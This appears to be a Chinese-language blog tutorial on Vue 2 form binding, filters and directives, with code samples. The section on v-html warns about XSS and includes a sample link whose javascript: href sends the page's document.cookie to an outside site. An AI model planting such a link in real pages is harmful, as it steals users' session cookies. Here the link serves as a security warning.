Vue2教程详解三（表单输入绑定、过滤器、指令）

迷糊的小小淘

已于 2022-03-17 18:40:40 修改

阅读量1.3k

点赞数 1

分类专栏：前端知识文章标签： vue.js elementui javascript

于 2022-01-26 16:08:40 首次发布

本文链接：https://blog.csdn.net/ks795820/article/details/122695402

版权

前端知识专栏收录该内容

51 篇文章 5 订阅

订阅专栏

表单输入绑定

之前篇幅讲过使用v-model指令在表单<input>/<textarea>以及<select>元素上创建双向数据绑定，它会根据控件类型自动选取正确的方法来更新元素，其实就是将input输入的值value自动绑定，并更新数据。它就是语法糖，负责监听用户的输入事件以更新数据，并对一些极端场景进行一些特殊处理~

基础用法

表单分为input/textarea/select，input有text/checkbox/radio/password等类型，下面分别进行讨论

<div id="root">
        <form>
            账号：<input type="text" v-model="account"><br></br>
            密码：<input type="password" v-model="password"><br></br>
            性别：
            <input type="radio" name="sex" v-model="sex" value="male"> 男
            <input type="radio" name="sex" v-model="sex" value="female"> 女<br></br>
            爱好：
            <input type="checkbox" v-model="hobby" value="playPingPang">打乒乓球
            <input type="checkbox" v-model="hobby" value="sleep">睡觉
            <input type="checkbox" v-model="hobby" value="watchTV">看剧<br></br>
            所属地区：
            <select name="" id="" v-model="region">
                <option value="">请选择</option>
                <option value="Shanghai">上海</option>
                <option value="Beijing">北京</option>
                <option value="tianjin">天津</option>
                <option value="guangzhou">广州</option>
            </select> <br></br>
            补充说明：
            <textarea v-model="other"></textarea>
        </form>

    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                account: '',
                password: '',
                sex: '',
                hobby: [],
                region: 'Shanghai',
                other: ''

            }
        })
    </script>

对于类型为text、password的input框，以及select和textarea表单，这种有输入值的表单，默认v-model绑定的value值即输入值，所以无需再专门指定value值；

对于radio、checkbox来说，若不专门指定value值，由于前端并未输入内容，则虽然显示checked为true或false，但是实际的value值为null，因此要特别绑定value值，另外，对于多选框checkbox来说，若data中未定义绑定的数值为数组类型，则会出现选中一个，则其它多选框也会被选中的情况；（即单选框，绑定到布尔值，多选框，绑定到数组）

修饰符

v-model也可以加修饰符，如.lazy/.number/.trim

.lazy

在默认情况下，v-mode在每次input事件触发后将输入框的值立即与数据进行同步，若想在input输入完成后再同步，可以添加lazy修饰符，从而转化为在change事件（失去焦点）之后进行同步；

账号：<input type="text" v-model.lazy="account">

.number

由于输入框拿到的数据为字符串（即使在设置了标签为type='number'后，HTML输入元素的值也总会返回字符串），若想将用户的输入值转为数值类型，则要给v-model添加number修饰符后；

年龄<input v-model.number="age" type="number">

.trim

若想自动过滤用户输入的首尾空白字符，则要给v-model添加trim修饰符

账号：<input type="text" v-model.trim="account">

过滤器

过滤器能实现对要显示的数据进行特定格式化后再显示，它并没有改变原来的数据，直接产生了新的与之对应的数据；

<div id="root">
        <h3>当前时间戳是：{{time}}</h3>
        <h3>格式化处理后的时间是: {{time | timeFilter}}</h3>

    </div>
    <script>
        console.log(Date.now());
        const vm = new Vue({
            el: "#root",
            data: {
                time: 1643164727498,
            },
            filters: {
                timeFilter(value) {
                    return dayjs(value).format('YYYY年MM月DD日')
                }
            }
        })
    </script>

上述代码讲解：

{{time | timeFilter}}

上述代码中，time表示过滤器要处理的数据，中间为管道符|，后面为过滤器timeFilter，该方法的实现逻辑是指：将time作为参数传给timeFormater过滤器--->调用timeFormater过滤器--->将拿到的返回值给{{time|timeFormat}}，呈现页面；

filters: {
    timeFilter(value) {
        //此处的value是默认参数time
        return dayjs(value).format('YYYY年MM月DD日')
    }
}

过滤器函数若未加参数，则默认参数是管道符前面的属性，此处即time，若加了参数，则不仅有传入的参数，还有默认的管道符前面的属性；

<div id="root">
        <h3>当前时间戳是：{{time}}</h3>
        <h3>格式化处理后的时间是: {{time | timeFilter('YYYY年')}}</h3>

    </div>
    <script>
        console.log(Date.now());
        const vm = new Vue({
            el: "#root",
            data: {
                time: 1643164727498,
            },
            filters: {
                timeFilter(value, str) {
                    console.log(value); // value是默认参数
                    console.log(str); // str是YYYY年
                    return dayjs(value).format(str)
                }
            }
        })
    </script>

过滤器之间可实现串联操作，即将前一个过滤器的返回值作为默认参数传给下一个过滤器；

<div id="root">
        <h3>当前时间戳是：{{time}}</h3>
        <h3>格式化处理后的时间是: {{time | timeFilter('YYYY年MM月') | timeSlice(4)}}</h3>

    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                time: 1643164727498,
            },
            filters: {
                timeFilter(value, str) {
                    return dayjs(value).format(str)
                },
                timeSlice(value, num) {
                    return value.slice(0, num)
                }
            }
        })
    </script>

过滤器还可以用在v-bind上，用的不多

<input type="text" v-bind:id="rawId | formatId"></input>

全局过滤器

在创建vue实例全局定义过滤器：

 Vue.filter('capitalize', function(value) {
            if (!value) return ''
            value = value.toString()
            return value.charAt(0).toUpperCase() + value.slice(1)
        })

指令

内置指令

之前介绍过一些内置指令，如v-bind/v-model/v-for/v-on/v-if/v-else/v-show

v-bind：表示单向绑定解析表达式，可简写为:xxx；

v-model：表示双向数据绑定

v-for：遍历数组/对象/字符串

v-on：绑定事件监听，可简写为@

v-if：条件渲染（动态控制节点是否存在）

v-show：条件渲染（动态控制节点是否展示）

v-text：向其所在的节点中渲染文本内容，与插值语法的区别是v-text会替换掉整个节点中的内容，如：

<div id="root">
        <div v-text="name">你好</div>
        <!-- 只会展示出来 柳柳 -->
        <div>你好，{{ename}}</div>
        <!-- 展示出来 你好 -->

    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                name: '柳柳',
                ename: 'liu'
            }
        })
    </script>

v-html指令：可以向指定节点中渲染包含html结构的内容；它和v-text一样，也是会替换掉节点中所有的内容，并且可以识别html结构，但是v-html有安全性问题，因为在网站上动态渲染任意html是非常危险的，容易导致XSS攻击，一定要在可信的内容上使用v-html，而且不要在用户提交的内容上使用；

<div id="root">
        <div v-html="str">你好</div>

    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                str: '<a href=javascript:location.href="http://www.baidu.com?" + document.cookie>危险链接</a>',
            }
        })
    </script>

v-cloak指令：配合CSS使用，可以解决网速慢时页面展示出未经解析的模板（如{{xxx}}）问题；

没有值，直接使用v-cloak，在Vue实例创建完毕并接管容器后，会删掉v-cloak属性；

<style>
    [v-cloak] {
       display: none;
    }
</style>

<div id="root">
        <div v-cloak>{{name}}</div>

    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                name: 'xiaoming'
            }
        })
    </script>

v-once指令是指所在节点在初次动态渲染后，就视为静态内容，以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能；

 <div id="root">
        <h2 v-once>初始化的n值是： {{n}}</h2>
        <!-- 这个n值不会动态改变，只会在加载页面的时候动态改变一次，变为1 -->
        <h2>当前的n值是： {{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1
            }
        })
    </script>

v-pre用于跳过没有使用指令语法、插值语法的节点，加快编译过程；

<h2 v-pre>马上放假喽~</h2>

自定义指令

除了核心功能默认内置的指令（v-model和v-show），Vue也允许注册自定义指令；自定义指令是个函数，但不会通过返回值形式拿到结果；有两种方式：定义回调函数方式与定义配置对象方式

定义回调函数

示例：定义一个v-amplify指令，和v-text功能类似，将绑定的数值放大10倍；

<div id="root">
        <h2>当前的n值是： {{n}}</h2>
        <h2>放大10倍后的n值是： <span v-amplify='n'></span></h2>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1
            },
            directives: {
                amplify(element, binding) {
                    // 定义指令的时候不加v-，使用的时候为v-xxx
                    console.log(element, binding);
                    // element即指令所绑定的元素，可以用来直接操作 DOM，binding是一个对象，表示元素与指令之间的绑定关系
                    element.innerText = binding.value * 10
                }
            }
        })
    </script>

官网上关于指令参数的介绍如下：

回调函数何时会被调用：指令与元素成功绑定时，即刚开始vue接管模板初始化的时候；在指令所在的模板被重新解析时也会被调用；

定义配置对象

示例：定义一个v-fbind指令，和v-bind功能类似，但可以使其所绑定的input元素默认获取焦点；

此时用函数方法，很难找到何时让其获得焦点的时刻，因为在绑定关系成立后，拿不到input输入框啥时候解析在页面的时刻，因为无法获得input框的焦点，基于此，采用配置对象方法；

<div id="root">
        <input type="text" v-fbind:value="n">
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1
            },
            directives: {
                amplify(element, binding) {
                    // 定义指令的时候不加v-，使用的时候为v-xxx
                    console.log(element, binding);
                    // element即指令所绑定的元素，可以用来直接操作 DOM，binding是一个对象，表示元素与指令之间的绑定关系
                    element.innerText = binding.value * 10
                },
                fbind: {
                    // 该对象中可以放入很多函数，保证在每个时间点执行要做的函数,每个函数中的参数都是element与binding
                    bind(element, binding) {
                        // 指令与元素成功绑定时（即初始化时）
                        element.innerText = binding.value * 10
                    },
                    inserted(element, binding) {
                        // 指令所在元素被插入页面时
                        element.focus()
                    },
                    update(element, binding) {
                        // 指令所在的模板被重新解析时
                        element.value = binding.value
                    },
                }
            }
        })
    </script>

这三个函数：binding、inserted、update三个函数被称为钩子函数；官网介绍如下：

可以看出来第一种回调函数方法是第二种方法省略掉inserted方法的简写形式；

注意：

指令相关的函数中的this皆指向windows

指令名若是多个单词组成，则要使用kebab-case命名方式，不能用驼峰命名法，如:

'big-sum': {
    bind(element,binding){
    
    },
    inserted(element,binding){
    
    },
    update(element,binding) {
    
    }
},
或
'big-sum'(element,binding) {
                    
}

全局指令

在创建vue实例全局定义指令：上述两种方法分别对应如下：

Vue.directive(指令名，配置对象)
或
Vue.directive(指令名，回调函数)

迷糊的小小淘

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
Vue2教程详解三（表单输入绑定、过滤器、指令）

目录表单输入绑定基础用法修饰符过滤器指令内置指令自定义指令全局指令表单输入绑定之前篇幅讲过使用v-model指令在表单<input>/<textarea>以及<select>元素上创建双向数据绑定，它会根据控件类型自动选取正确的方法来更新元素，其实就是将input输入的值value自动绑定，并更新数据。它就是语法糖，负责监听用户的输入事件以更新数据，并对一些极端场景进行一些特殊处理~基础用法表单分为input/textare
复制链接

扫一扫